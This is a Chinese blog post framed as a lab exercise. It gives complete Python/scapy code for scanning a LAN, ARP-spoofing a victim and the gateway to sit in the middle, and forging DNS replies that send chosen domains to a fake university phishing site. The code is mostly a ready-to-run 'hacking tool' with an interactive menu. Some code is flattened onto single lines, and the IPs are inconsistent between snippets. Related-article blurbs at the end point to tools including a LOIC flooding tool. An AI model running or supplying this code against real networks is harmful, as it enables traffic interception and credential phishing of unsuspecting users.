ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

news/2024/5/10 12:55:55/文章来源:https://blog.csdn.net/weixin_45116657/article/details/91492864

一.实验环境

钓鱼网站: 虚拟机Windows 2008搭建的网站,IP:192.168.1.22

攻击者: 物理机win10,IP:192.168.1.38

被攻击者: 虚拟机win7,IP:192.168.1.37

二.实验目的

通过DNS劫持,将被攻击者的域名请求解析为错误的IP地址(即,钓鱼网站的IP地址),并返回给被攻击者,使得被攻击者进入钓鱼网站,达到实验目的。

DNS解析流程

  1. 浏览器缓存:浏览器会按照一定的频率缓存DNS记录;
  2. 操作系统缓存:如果浏览器缓存中找不到需要的DNS记录,那么就回去hosts文件中寻找;
  3. 如果本地hosts文件中没有的话,会查找本地DNS服务器存储的区域文件,若有就返回给客户端;
  4. 区域文件中没有的话,开始查找DNS本地服务器的内存中是否有缓存;
  5. 本地DNS服务器如果没有的话,就向其他DNS服务器发送查询请求;

在这里插入图片描述

本次实验我们是在被攻击者本机高速缓存和hosts文件中都没有对应的DNS解析的情况下实现,即被攻击者在查询hosts文件失败后,向本地DNS服务器或者其他DNS服务器查询的这一过程中实现的。

DNS劫持

DNS劫持又称域名,是指在劫持的网站范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做时请求失去响应,其效果就是对特定网络不能访问或访问的是假网址。

为了帮助大家更好地理解DNS劫持,如下图所示;

在这里插入图片描述

实验步骤

(1) 首先在Windows 2008上搭建一个web服务热点(搭建的过程不再多做叙述),如下图所示,搭建一个假的西安理工大学网站;

在这里插入图片描述
(2)使用scapy模块扫描出局域网内的活跃主机,打印出IP地址和MAC地址,选择局域网中的某个主机进行DNS劫持;

代码如下:

import os#扫描局域网,显示活跃主机
def scan():global gw#之所以用"route  print"的结果来获取本机IP和网关IP,是因为‘本机IP和网关IP’所在行有明显的特征for line in os.popen('route print'):s=line.strip()   #去掉每行的空格if s.startswith('0.0.0.0'):slist=s.split()ip=slist[3]gw=slist[2]breakprint('本机上网的IP是:',ip)print('本机上网的网关是:', gw)tnet=gw+'/24'      #tnet代表本网段#扫描用一个网段p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)#ans 表示收到的包的回复ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)print("一共扫描到%d台主机:" % len(ans))#将需要的IP地址和Mac地址存放在result列表中result = []for s, r in ans:# 解析收到的包,提取出需要的IP地址和MAC地址result.append([r[ARP].psrc, r[ARP].hwsrc])result.sort()#打印出活跃主机的IP地址和MAC地址for ip, mac in result:print(ip, "------>", mac)

(3)ARP欺骗分两种:一种是主机型欺骗,另一种是网关型欺骗;
选择局域网内的某个主机进行ARP欺骗,使被攻击者认为我就是网关;
在去欺骗网关,我是被攻击者,实现双向欺骗,使自己位于网关和被攻击者间的透明中继;

#嗅探目标主机的DNS请求
def capture(target,t):tj="udp dst port 53 and host "+targetpkts=sniff(iface=wifi,filter=tj,prn=dnsposion,timeout=t)#ARP攻击
def spoof():vic=input("请输入攻击目标:")t=int(input("请输入攻击时间(单位:秒):"))#开启多线程,对目标主机的DNS请求进行抓包(ARP攻击之后,目标主机的上网请求都会经过我)ct=Thread(target=capture,args=(vic,t))ct.start()#每隔0.2秒给目标主机发送一次攻击,总共发5*int(t)次for i in range(5*int(t)):sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=wg),verbose=0)sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vic),verbose=0)time.sleep(0.2)      ct.join()print("攻击结束!")

(4)欺骗成功后,就可以对其进行DNS劫持,在劫持的网络范围内(即blacklist)拦截域名解析请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址,其效果就是访问的是假网址。

代码如下:

#自动的向某个网站回复数据包
def dnsreply(p):#抓取的包有DNS才会进行下面的操作if p.haslayer(DNS):ip=p[IP]udp=p[UDP]dns=p[DNS]#获取请求的域名domain=dns.qd.qname.decode()[:-1]print('收到一个请求:——————>',domain)#如果请求的域名在黑名单中,则进行DNS劫持,并返回被攻击者一个假的网站;if domain in blacklist:nip=IP(src=ip.dst,dst=ip.src)nip=IP(src=ip.dst,dst=ip.src)nudp=UDP(sport=udp.dport,dport=udp.sport)ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.43.21'))#构造一个返回的包,显示的是自己搭建的假网站send(nip/nudp/ndns)print('%s---->192.168.43.21'%domain)            

(5)上述操作结束后,就可以实现对目的主机的攻击和欺骗。

全部代码如下:

#DNS劫持演练
from scapy.all import *
import os
import time 
from threading import Thread
import sys#定义变量和函数
wg=''
oldname=''
wifi='Intel(R) Wireless-AC 9462'
blacklist=['www.xianligong.edu.cn','www.sina.com']#扫描局域网,显示活跃主机
def scan():global wg#之所以用'route print'的结果来获取本机IP和网关IP,是因为'本机IP和网关IP'所在行有明显的特征for line in os.popen('route print'):       s=line.strip()if s.startswith('0.0.0.0'):slist=s.split()                    ip=slist[3]                      #获取本机IPwg=slist[2]                      #获取网关IPbreakprint("本机上网的IP:",ip)print("本机上网的网关:",wg)tnet=wg+"/24"                            #tnet代表本网段    #扫描同一网段下的活跃主机,并按从大到小的顺序打印ip和mac#给同一网段的所有主机发送ARP广播。如果主机活跃则会有应答(ans)p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=tnet)   ans,unans=srp(p,iface=wifi,timeout=2,verbose=0)#根据应答(ans)的长度来确定活跃的主机print("一共扫描到%d台主机:"%len(ans))   result=[]for s,r in ans:#从应答包(ans)中获取活跃主机的IP和相应的MAC地址,并存在列表result中result.append([r[ARP].psrc,r[ARP].hwsrc])result.sort()                          for ip,mac in result:                    print(ip,"--->",mac)#嗅探目标主机的DNS请求
def capture(target,t):tj="udp dst port 53 and host "+targetpkts=sniff(iface=wifi,filter=tj,prn=dnsposion,timeout=t)#ARP攻击
def spoof():vic=input("请输入攻击目标:")t=int(input("请输入攻击时间(单位:秒):"))#开启多线程,对目标主机的DNS请求进行抓包(ARP攻击之后,目标主机的上网请求都会经过我)ct=Thread(target=capture,args=(vic,t))ct.start()#每隔0.2秒给目标主机发送一次攻击,总共发5*int(t)次for i in range(5*int(t)):sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=wg),verbose=0)sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vic),verbose=0)time.sleep(0.2)      ct.join()print("攻击结束!")def dnsposion(p):global oldname              #将oldname定义成全局变量vmip=sys.argv[1]             #获取命令行的参数,即Windows Server 2008的IPtry:#在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行if p.haslayer(DNS):     ip=p[IP]udp=p[UDP]dns=p[DNS]qname=dns.qd.qname.decode()[:-1]   #获取请求的域名#对于之前出现过的请求不再显示if qname!=oldname:print('收到一个请求',qname)#如果解析的域名在我的黑名单中,则构造一个包含我搭建的网站IP的DNS响应包发给目标主机if qname in blacklist:nip=IP(src=ip.dst,dst=ip.src)nudp=UDP(sport=udp.dport,dport=udp.sport)ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=vmip))    send(nip/nudp/ndns,iface=wifi)print('%s--->'%qname,vmip)except:passdef main():print("欢迎使用我的黑客工具!")while 1:sel=input("请选择要进行的操作:1、局域网扫描 2、DNS劫持 3、流量分析 4、退出\t")if sel=='1':scan()elif sel=='2':if not wg:print("请先执行扫描程序!")else:spoof()elif sel=='3':print("开发中... ...")pass        elif sel=='4':print("欢迎下次使用,再见!")breakelse:print("输入有误,请重新输入!")if __name__=="__main__":main()

(6)查看实验结果,当在被攻击者那端输入黑名单的域名时,就会被拦截,不再黑名单上的就会被放行;

在这里插入图片描述
(7)当在被攻击者端输入www.topsec.com时,模拟发包,成功欺骗;

在这里插入图片描述
在被攻击端的就是钓鱼网站的信息;
在这里插入图片描述

(8)当在被攻击端输入www.xiyou.edu.cn时,模拟发包,成功欺骗;

在这里插入图片描述
在被攻击端显示的就是钓鱼网站的信息;
在这里插入图片描述

(9)通过Wireshark抓包查看DNS劫持的情况;

在这里插入图片描述在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_842161.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

黑盒测试模版建站

常规cms 开源cms程序:可免费下载 模板建站:下载要收费,可通过关键词搜索一样模板的网站,拿下,再代码审计找漏洞。

httrack镜像网站(kali版与win版)

kali镜像文件:https://pan.baidu.com/s/1U-NpeYc7EUDtDJQjVs6Mng kali版使用(kali自带) 终端中输入httrack回车 接下来是要求输入一个项目名称,自己填一个即可保存的项目路径,这里选择根目录下的project文件夹输入需…

LOIC网站压力测试工具

官网下载:https://sourceforge.net/projects/loic/ 百度云:https://pan.baidu.com/s/1VVUjLqtq1mMAD-TJIAnhnQ 1.软件解压后运行,界面如图 2.然后可以在url处输入想要测试的网站网址,也可以输入ip地址,输入完之后要…

渗透测试--网站目录扫描(爆破)--Dirbuster下载、安装和使用

一、下载安装 1.云盘下载地址:链接:https://pan.baidu.com/s/1KODKnjjpGVCqNBpQ0bnCGA 提取码:ovdx 2.其它下载地址:https://sourceforge.net/projects/dirbuster/files/latest/download 3.下载完成将压缩包解压至方便自己查找的…

记一次网站项目维护

灌一下水,记录一下。 目录 图片上传大小限制 图片不存在时的默认显示 json中尖括号英文冒号等未转义而出现的错误 网页管理后台加载超时 图片上传大小限制 接到师哥电话要修改维护的某网站的一个功能,大体是要将网页的注册表单里的上传图片按钮加一…

lnmp项目案例----搭建WordPress、wecenter网站

1、拆分机器 2、搭建backup服务器 # 软件 rsync # 关闭防火墙、selinux# 安装rsync# 编写配置文件 [rootbackup ~]# vim /etc/rsyncd.conf ## 前端代码仓库、数据库备份、上传文件的备份 uidwww gidwww port873 fake superyes use chrootno max connection200 timeuot600 i…

iis怎么切换网站php版本,IIS下PHP的切换

wordpress安装包下载解压后有个readme.html网页,打开后有下面一段话:system requirements是指服务器配置需求,最低要求是PHP版本5.2.4以上,mysql版本5.0以上。recommendations是推荐配置,推荐的是:PHP版本7…

网站上抓取数据并且自动发帖到论坛程序

近期本人闲来没事做了一个程序自动从一些BT网站上抓取数据并且自动发帖到我自己的论坛上,试用了几个月效果比较好,现在公布源代码供perl爱好者参考,欢迎广大perl爱好者一起沟通交流。分几个程序组成readcokie.pl 获取要上传主机的cookie一次获…

网站实时监控系统的设计与实现

引言  对网页监控比较成熟的技术是定时监控,即由用户设定时间间隔,系统按时对需监控的网页文件轮询一遍,来判断文件是否被非法删除或篡改。若发现,立即用备份盘上的备份文件进行恢复。这样的监控存在一个缺陷:被非法…

[BOF]高性能网站设计、开发、部署

北京 TechED 上,计划中的一个BOF(同类人)的主题是:高性能网站设计、开发、部署,下面是我初步整理需要讨论的主题: 网站是信息展示平台,它的核心职责是把信息展示出来。当然,他也有部…

值得网站开发者收藏的JAVASCRIPT图形图表库

http://www.uirss.com/blog-39451-6411.html 图表是数据图形化的表示,通过形象的图表来展示数据,比如条形图,折线图,饼图等等。可视化图表可以帮助开发者更容易理解复杂的数据,提高生产的效率和Web应用和项目的可靠性。…

seo按天扣费系统_扒拉一些搞SEO关键词排名赚钱的几个行业秘密

互联网上的赚钱方式各式各样,干什么的几乎都有,但是搞网站的、搞SEO的,最终目的也是赚钱,可是赚钱跟赚钱相比,SEO排名赚钱的还是出现了几个极端化。今天诺伊网小编给你深扒一些SEO行业的秘闻吧,估计很多干货…

:https web服务器ssl认证项目,网站启用https后的SSL的安全配置和检测

现在的网站通常开启SSL已经是标配了,不过,配置好了SSL后,还需要判断一下服务器部署的是否安全,如果没有配置好的话,会带来很多安全隐患。SSL/TLS 系列中有六种版本:SSL v2,SSL v3,TL…

国内的服务器网站,国内主流网站服务器

国内主流网站服务器 内容精选换一换在大型网络应用中,通常会使用多台服务器提供同一个服务。为了平衡每台服务器上的访问压力,通常会选择采用负载均衡来实现,提高服务器响应效率。云解析服务支持解析的负载均衡,也叫做带权重的记录…

国内外IGS数据及产品下载网站

国内外 IGS数据及产品下载网站 连接有所变更: CLK ,SP3 https://cddis.nasa.gov/archive/gnss/products/2220/ 本文是转载博客地址:https://blog.csdn.net/SmartTiger_CSL/article/details 一、转自http://geodesy.blog.sohu.com/274775667.html IG…

好吧我摊牌了,这是C++最好的5 个网站

相对其他语言来说,C 算是难度比较高的了,这一点无法否认。但是如果能有一些好的网站,则会让 C 的学习事半功倍。 那就来介绍几个最常用的(最好的)吧,包含了参考手册、教程、框架/库列表 ...... 1.cpprefer…

谷歌浏览器使用bing搜索引擎发现打开网站会替换搜索页

今天更新谷歌浏览器发现搜索东西,点击搜索结果网站,打开后的网站页会替换掉当前搜索页,就得点回退,很烦 后来发现不是谷歌浏览器的问题,是搜索引擎的问题,设置下搜索引擎就行 我使用的是bing搜索引擎 勾…

网站如何集成markdown编辑器

收藏(4)Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。它用简洁的语法代替排版,而不像一般我们用的文字处理软件 Word 等有大量的排版、字体设置。这使得我们能够专心的码字&…

Linux测试网速(linux服务器测试网站,命令行)

第一步:wget https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py 第二步: chmod arx speedtest.py 第三步: sudo mv speedtest.py /usr/local/bin/speedtest 第四步:sudo chown root:root /usr/local…

巧用VS2005解决VS2005网站发布不便问题

关键字:VS2005,网站发布,编译一、问题引入在VS2005网站开发过程中,网站发布问题一直是个问题.VS2005创建的网站有几个默认的目录:App_Code,App_Data,App_Themes........如果是但cs/vb文件,比如UploadFile.cs类UploadFile,这个类文件没有可视的aspx文件,那么这个文件就必须放到A…